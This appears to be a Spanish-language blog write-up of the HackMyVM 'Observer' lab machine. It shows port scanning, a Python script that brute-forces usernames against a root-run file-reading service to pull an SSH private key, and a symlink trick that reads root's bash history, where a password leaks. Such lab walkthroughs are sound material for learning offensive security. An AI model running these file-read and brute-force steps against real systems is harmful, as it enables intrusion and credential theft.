cd ~/blog

~/writeups/hmv/048-observer.md

048 - Observer

easy Linux hmv 20-03-2024
Custom service arbitrary file readSSH key disclosure (username brute force)sudo systemctl status + symlink root file read
hackmyvm.eu/machines/machine.php?vm=Observer

~1 min de lectura


Comenzamos con la enumeración de puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.9
 nmap -sCV -p22,3333 -oN 02-targeted.txt 192.168.1.9
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-20 18:39 -03
Nmap scan report for 192.168.1.9
Host is up (0.00033s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 06:c9:a8:8a:1c:fd:9b:10:8f:cf:0b:1f:04:46:aa:07 (ECDSA)
|_  256 34:85:c5:fd:7b:26:c3:8b:68:a2:9f:4c:5c:66:5e:18 (ED25519)
3333/tcp open  dec-notes?
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 200 OK
|     OBSERVING FILE: /home/nice ports,/Trinity.txt.bak NOT EXIST
|     <!-- nwuzrSbwDGgMsTNBIPNkBIaSliyaTvHMV -->
|   GetRequest:
|     HTTP/1.0 200 OK
|     OBSERVING FILE: /home/ NOT EXIST
|_    <!-- eVbOFqrWecgEaJUpIKypDLFxbJgoxdHMV -->
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.55 seconds

La salida completa incluye el bloque SF-Port3333 con el fingerprint del servicio; el comportamiento clave es que el servicio del puerto 3333 lee el archivo cuya ruta se le indique en la URL y responde NOT EXIST si no existe.

Aprovechamos esa lectura de archivos para localizar la clave id_rsa de algún usuario, haciendo fuerza bruta de nombres de usuario con un script en Python:

❯ cat users.py
import requests

spaces = " " * 60

with open ("/home/wh01s17/Documentos/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt",
"r") as f:
    wordlist = f.readlines()

    for user in wordlist:
        user = user.replace("\n", "")
        r = requests.get(f"http://192.168.1.9:3333/{user}/.ssh/id_rsa")
        if "NOT EXIST" in r.text:
            print(f"[-] {user}{spaces}", end="\r")
        else:
            print(f"[+] Username found!: {user}\nResponse:\n{r.text}")
            break
 python users.py
[+] Username found!: jan
Response:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
-----END OPENSSH PRIVATE KEY-----

Con la clave de jan accedemos por SSH y obtenemos la primera flag. Para escalar, revisamos sudo -l:

jan@observer:~$ sudo -l
Matching Defaults entries for jan on observer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User jan may run the following commands on observer:
    (ALL) NOPASSWD: /usr/bin/systemctl -l status

Con systemctl -l status descubrimos que el servicio del puerto 3333 es un binario observer en /opt que se ejecuta como root. Por tanto, ese servicio puede leer cualquier archivo del sistema con privilegios de root. Creamos un enlace simbólico de /root dentro del home de jan:

jan@observer:~$ ln -s /root .
jan@observer:~$ ls
root  user.txt

Y leemos el .bash_history de root a través del servicio, donde se filtra su contraseña:

http://192.168.1.9:3333/jan/root/.bash_history
...
fuck1ng0bs3rv3rs
...

Iniciamos sesión como root con esa contraseña y obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados